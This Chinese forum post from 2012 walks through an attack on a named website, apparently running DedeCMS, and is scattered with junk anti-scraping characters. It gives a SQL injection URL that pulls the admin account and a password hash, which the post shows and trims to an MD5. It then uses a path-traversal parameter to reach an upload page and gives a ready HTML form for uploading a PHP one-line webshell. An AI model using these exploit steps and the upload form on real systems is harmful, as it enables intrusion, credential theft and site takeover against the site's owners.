①注入漏洞。
# R h7 P% {0 ^& o$ I这站 http://www.political-security.com/
! T: j( ?# G& Q2 L; o首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
) [1 C+ s$ d9 F. rwww.political-security.com/data/mysql_error_trace.inc 爆后台& M& ]* G2 E l9 @( _
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。6 m" o) D4 c# @+ _. i0 W; E7 v Z
然后写上语句
4 l1 J" w1 S# t1 D, R查看管理员帐号! B! E1 ]& o% e4 K+ t/ `
http://www.political-security.co ... &membergroup=@`
P; `( Z4 u3 S P- \2 l1 k' o5 |7 \+ K/ M$ t1 j
admin $ d" g" X8 ~% k! s% g1 _4 U
9 w9 H; Y9 \- S2 L' G" Z# r
查看管理员密码
7 \. `% x6 \4 s5 q# r http://www.political-security.co ... &membergroup=@`1 Q( s: ^- h! V4 }7 G, {
+ Q/ n2 M9 e0 z* Y/ N: \5 q
8d29b1ef9f8c5a5af429
7 i' \/ \# {4 g4 m2 ^0 s9 }2 }3 U: O
查看管理员密码: {4 {# l' V" l: w# l$ M0 v6 ^
! o( ^- N& Q# [
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
1 V: H: z7 m" P& j% _0 Z% i' \4 Y5 t
8d2! O) u- R/ Z- L/ z+ j
9b1ef9f8c5a5af42
( M1 p9 J+ @4 E9( Y7 ~9 Y* W) ?4 X
4 @* B$ i! o5 z3 @# j" N; D) N1 ucmd5没解出来 只好测试第二个方法! i: e; M7 V- x( n* B( J
( q: z/ O A; ?' ?( b; f7 M& _
0 K* N% F6 o4 c②上传漏洞：& u$ r% ]6 t2 W$ ]
: i3 z! `1 Q0 J- `' Q( i# D' x只要登陆会员中心，然后访问页面链接
7 u1 R v3 r' }“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”4 \: h; l; N& ?$ V8 f
, K3 s# {; N0 ~3 h% J' W
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
; R; [! e5 }2 S8 u8 q% G
+ s2 @) e; M6 F$ H( y* x" E6 W" E- k. N! x于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
/ C! j& C @. A. P% y
1 c5 ^1 l+ l s. J<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>2 I2 v" R. q) \& }8 {
或者
; l$ h. k: h' v1 b$ ?- U0 @即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对